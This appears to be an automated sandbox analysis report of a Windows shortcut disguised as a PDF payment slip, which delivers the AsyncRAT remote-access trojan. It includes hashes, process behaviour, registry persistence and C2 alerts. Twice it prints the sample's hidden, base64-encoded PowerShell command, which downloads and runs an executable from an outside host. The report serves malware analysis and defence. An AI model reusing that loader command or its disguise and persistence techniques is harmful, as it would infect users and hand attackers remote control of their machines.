File name:

Payment Slip.pdf.lnk

Full analysis: https://app.any.run/tasks/d3d60905-7120-4e8b-af01-c820ae3b9b6f
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: February 14, 2025, 07:15:58
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
loader
rat
asyncrat
remote
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Unicoded, HasExpIcon "%USERPROFILE%\Desktop\gjhrhh.ico", Archive, ctime=Wed Apr 6 03:56:26 2016, atime=Wed Apr 6 03:56:26 2016, mtime=Wed Apr 6 03:56:26 2016, length=444928, window=showminnoactive, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
MD5:

11207990E8F33F251F3C680B45F4E3CE

SHA1:

F0DC788BED894A633105992FBDB69045A0A8488E

SHA256:

EC318E14609F85CB63B3B499848E4587D0CD049C066EB1DF0E1D1980ED6DDF10

SSDEEP:

48:8RvPvPvmTL8qe7ZqfLo/A3gmohnkaz3BD5QeMOnow:8RvPvPvmP4A3YkazxmlOn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 3280)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 3280)

    • Executing a file with an untrusted certificate

      • Any Name.exe (PID: 3780)

    • Changes the autorun value in the registry

      • Your file name without extension goes here.exe (PID: 1296)

    • ASYNCRAT has been detected (SURICATA)

      • ikukujj.exe (PID: 4388)

  • SUSPICIOUS

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 3280)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 3280)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 3280)

    • The process drops C-runtime libraries

      • Any Name.exe (PID: 3780)
      • Your file name without extension goes here.exe (PID: 1296)

    • Process drops legitimate windows executable

      • Any Name.exe (PID: 3780)
      • Your file name without extension goes here.exe (PID: 1296)

    • Executable content was dropped or overwritten

      • Any Name.exe (PID: 3780)
      • aspnet_wp.exe (PID: 5308)
      • aspnet_wp.exe (PID: 5460)
      • Your file name without extension goes here.exe (PID: 1296)

    • Reads security settings of Internet Explorer

      • aspnet_wp.exe (PID: 4444)
      • aspnet_wp.exe (PID: 5460)
      • aspnet_wp.exe (PID: 5308)

    • Searches for installed software

      • ikukujj.exe (PID: 4388)

    • Contacting a server suspected of hosting an CnC

      • ikukujj.exe (PID: 4388)

    • Connects to unusual port

      • ikukujj.exe (PID: 4388)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 3280)

    • Checks proxy server information

      • powershell.exe (PID: 3280)

    • The executable file from the user directory is run by the Powershell process

      • Any Name.exe (PID: 3780)

    • Checks supported languages

      • Any Name.exe (PID: 3780)
      • Your file name without extension goes here.exe (PID: 1296)
      • aspnet_wp.exe (PID: 5308)
      • ikukujj.exe (PID: 5036)
      • ikukujj.exe (PID: 4388)
      • ikukujj.exe (PID: 4384)
      • aspnet_wp.exe (PID: 5460)
      • aspnet_wp.exe (PID: 4444)
      • bin.exe (PID: 3532)
      • bin.exe (PID: 6164)
      • bin.exe (PID: 6244)

    • Reads product name

      • Any Name.exe (PID: 3780)

    • Reads Environment values

      • Any Name.exe (PID: 3780)
      • ikukujj.exe (PID: 5036)
      • ikukujj.exe (PID: 4384)
      • ikukujj.exe (PID: 4388)

    • The sample compiled with english language support

      • Any Name.exe (PID: 3780)
      • Your file name without extension goes here.exe (PID: 1296)

    • Create files in a temporary directory

      • Any Name.exe (PID: 3780)
      • aspnet_wp.exe (PID: 5460)
      • aspnet_wp.exe (PID: 5308)
      • aspnet_wp.exe (PID: 4444)

    • Reads the computer name

      • aspnet_wp.exe (PID: 5308)
      • aspnet_wp.exe (PID: 4444)
      • aspnet_wp.exe (PID: 5460)
      • ikukujj.exe (PID: 5036)
      • ikukujj.exe (PID: 4388)
      • ikukujj.exe (PID: 4384)

    • Process checks computer location settings

      • aspnet_wp.exe (PID: 5460)
      • aspnet_wp.exe (PID: 5308)
      • aspnet_wp.exe (PID: 4444)

    • Reads the machine GUID from the registry

      • ikukujj.exe (PID: 5036)
      • ikukujj.exe (PID: 4388)
      • ikukujj.exe (PID: 4384)

    • Reads the software policy settings

      • ikukujj.exe (PID: 4388)

    • Creates files or folders in the user directory

      • ikukujj.exe (PID: 4384)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: Archive
CreateDate: 2016:04:06 03:56:26+00:00
AccessDate: 2016:04:06 03:56:26+00:00
ModifyDate: 2016:04:06 03:56:26+00:00
TargetFileSize: 444928
IconIndex: (none)
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: powershell.exe
DriveType: Fixed Disk
DriveSerialNumber: D6BC-4685
VolumeLabel: -
LocalBasePath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
RelativePath: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLineArguments: -NonInteractive -WindowStyle Hidden -NoProfile invoke-expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHBhdGggPSAkZW52OlRFTVAgKyAnXEFueSBOYW1lLmV4ZSc7IChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9oYXZhamVsLmNvbS93cC1pbmNsdWRlcy9TaW1wbGVQaWUvc3JjL3dnNTVrTjk3LmV4ZScsICRwYXRoKTsgc3RhcnQgJHBhdGg7')));
IconFileName: C:\Users\D.E.L.L\Desktop\gjhrhh.ico
MachineID: dell
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
141
Monitored processes
15
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powershell.exe conhost.exe no specs any name.exe conhost.exe no specs your file name without extension goes here.exe aspnet_wp.exe aspnet_wp.exe no specs aspnet_wp.exe ikukujj.exe no specs ikukujj.exe no specs #ASYNCRAT ikukujj.exe bin.exe no specs bin.exe no specs bin.exe no specs svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
1296"C:\Users\admin\AppData\Local\Temp\5a94aac6dcda31f4a235f3cb5300ce1a\Your file name without extension goes here.exe"C:\Users\admin\AppData\Local\Temp\5a94aac6dcda31f4a235f3cb5300ce1a\Your file name without extension goes here.exe
Any Name.exe
User:
admin
Company:
BlueStack Systems
Integrity Level:
MEDIUM
Description:
BlueStacks Disk Compaction
Exit code:
2147483651
Version:
5.21.300.1070
Modules
Images
c:\users\admin\appdata\local\temp\5a94aac6dcda31f4a235f3cb5300ce1a\your file name without extension goes here.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3140\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3280"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -NoProfile invoke-expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHBhdGggPSAkZW52OlRFTVAgKyAnXEFueSBOYW1lLmV4ZSc7IChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9oYXZhamVsLmNvbS93cC1pbmNsdWRlcy9TaW1wbGVQaWUvc3JjL3dnNTVrTjk3LmV4ZScsICRwYXRoKTsgc3RhcnQgJHBhdGg7')));C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3532"C:\Users\admin\AppData\Local\Temp\bin.exe" C:\Users\admin\AppData\Local\Temp\bin.exe—aspnet_wp.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\bin.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
3780"C:\Users\admin\AppData\Local\Temp\Any Name.exe" C:\Users\admin\AppData\Local\Temp\Any Name.exe
powershell.exe
User:
admin
Company:
Ivehewatuzewidege
Integrity Level:
MEDIUM
Exit code:
1
Version:
7.30.937.61
Modules
Images
c:\users\admin\appdata\local\temp\any name.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\psapi.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
4384"C:\Users\admin\AppData\Local\Temp\ikukujj.exe" C:\Users\admin\AppData\Local\Temp\ikukujj.exe—aspnet_wp.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Version:
6.0.1
Modules
Images
c:\users\admin\appdata\local\temp\ikukujj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
4388"C:\Users\admin\AppData\Local\Temp\ikukujj.exe" C:\Users\admin\AppData\Local\Temp\ikukujj.exe
aspnet_wp.exe
User:
admin
Integrity Level:
MEDIUM
Version:
6.0.1
Modules
Images
c:\users\admin\appdata\local\temp\ikukujj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
4444"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe—Your file name without extension goes here.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
aspnet_wp.exe
Exit code:
0
Version:
4.8.9220.0 built by: NET481REL1LAST_C
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\aspnet_wp.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\shell32.dll
c:\windows\syswow64\msvcp_win.dll
5036"C:\Users\admin\AppData\Local\Temp\ikukujj.exe" C:\Users\admin\AppData\Local\Temp\ikukujj.exe—aspnet_wp.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Version:
6.0.1
Modules
Images
c:\users\admin\appdata\local\temp\ikukujj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
Total events
10 978
Read events
10 975
Write events
3
Delete events
0

Modification events

(PID) Process:(1296) Your file name without extension goes here.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Your file name without extension goes here
Value:
cmd.exe /C start "" /D "C:\Users\admin\SystemRootDoc" "C:\Users\admin\SystemRootDoc\Your file name without extension goes here.exe"
Executable files
46
Suspicious files
5
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
3280powershell.exeC:\Users\admin\AppData\Local\Temp\Any Name.exe —
MD5:—
SHA256:—
3280powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:2FDFB853AA9BF515EA1EF5B37208E22D
SHA256:0ACF801F346D5F056CD0E8F25001CDEC7BB1075CE59EB8CD4676DEE5991772BE
3280powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8D41POFO5ELI75MM5H60.tempbinary
MD5:C12ABAEF3B5E3E1C500A3B5C33071EC7
SHA256:DB620A38834647A076F4FACC6F84AA10B7A602C7DCB622BFDB5C4FAE540C080B
3280powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zdix21t0.y21.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3780Any Name.exeC:\Users\admin\AppData\Local\Temp\5a94aac6dcda31f4a235f3cb5300ce1a\msvcp140_atomic_wait.dllexecutable
MD5:1D2A0D23E35B93464BB5B09E5E4C02B2
SHA256:A577B5FC4E3A14AE141657C30A38D11FF8593135E51E55485B252EB821D47E75
3780Any Name.exeC:\Users\admin\AppData\Local\Temp\5a94aac6dcda31f4a235f3cb5300ce1a\Qt5Network.dllexecutable
MD5:CD61BE9A6847D43F1536057E484499A9
SHA256:EEBD7D2A69D7E1719CA26491DE606F904AE759C3B076EE4FB84F16F70A77C06F
3780Any Name.exeC:\Users\admin\AppData\Local\Temp\5a94aac6dcda31f4a235f3cb5300ce1a\msvcp140_codecvt_ids.dllexecutable
MD5:4266E7BB9BFCE998083D2F4F938B11C9
SHA256:E1EE6D29E30708AD5812035626BBC1058EA12FD5503D5A79D28C9CB67FAB4A14
3780Any Name.exeC:\Users\admin\AppData\Local\Temp\5a94aac6dcda31f4a235f3cb5300ce1a\Qt5Core.dllexecutable
MD5:12B1CEDD6F4F6D93E8CF1CCAF10435E2
SHA256:36A4A4FA33E73AAE3E81C34D375AF3D78CCFDDC4FFE77BCF7A42D8F408406580
3780Any Name.exeC:\Users\admin\AppData\Local\Temp\5a94aac6dcda31f4a235f3cb5300ce1a\Qt5QmlModels.dllexecutable
MD5:DC37E2773C013265E5B0C0E48E07806F
SHA256:FFEFD7DE5145469B401DBCF88111BC13429CCBCA93F9299980480E0DE42D2651
3780Any Name.exeC:\Users\admin\AppData\Local\Temp\5a94aac6dcda31f4a235f3cb5300ce1a\Qt5Qml.dllexecutable
MD5:A9E720E5C38C79CB44AC5B8BF4F04AB1
SHA256:CB67813E7A3ED00E2014FC03512CA062C9D7F0C23739CB3B52A4E9A3CE40054E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
34
DNS requests
19
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
3280
powershell.exe
GET
—
87.107.190.209:80
http://havajel.com/wp-includes/SimplePie/src/wg55kN97.exe
unknown
—
—
malicious
716
svchost.exe
GET
200
2.16.164.34:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
716
svchost.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6208
backgroundTaskHost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
6976
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6976
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
716
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5064
SearchApp.exe
2.23.227.208:443
www.bing.com
Ooredoo Q.S.C.
QA
whitelisted
1140
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1176
svchost.exe
20.190.160.3:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1176
svchost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
3280
powershell.exe
87.107.190.209:80
havajel.com
—
IR
malicious

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.238
whitelisted
www.bing.com
  • 2.23.227.208
  • 2.23.227.215
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
login.live.com
  • 20.190.160.3
  • 40.126.32.76
  • 40.126.32.138
  • 20.190.160.20
  • 20.190.160.64
  • 20.190.160.130
  • 20.190.160.2
  • 40.126.32.74
whitelisted
havajel.com
  • 87.107.190.209
malicious
go.microsoft.com
  • 2.19.106.8
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 2.16.164.34
  • 2.16.164.24
  • 2.16.164.40
whitelisted
www.microsoft.com
  • 23.219.150.101
  • 2.23.246.101
whitelisted
arc.msn.com
  • 20.199.58.43
whitelisted

Threats

PID
Process
Class
Message
3280
powershell.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
3280
powershell.exe
A Network Trojan was detected
ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
3280
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
4388
ikukujj.exe
Domain Observed Used for C2 Detected
REMOTE [ANY.RUN] AsyncRAT SSL certificate
4388
ikukujj.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Malicious SSL Cert (VenomRAT)
4388
ikukujj.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Malicious SSL Cert (VenomRAT)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Payment Slip.pdf.lnk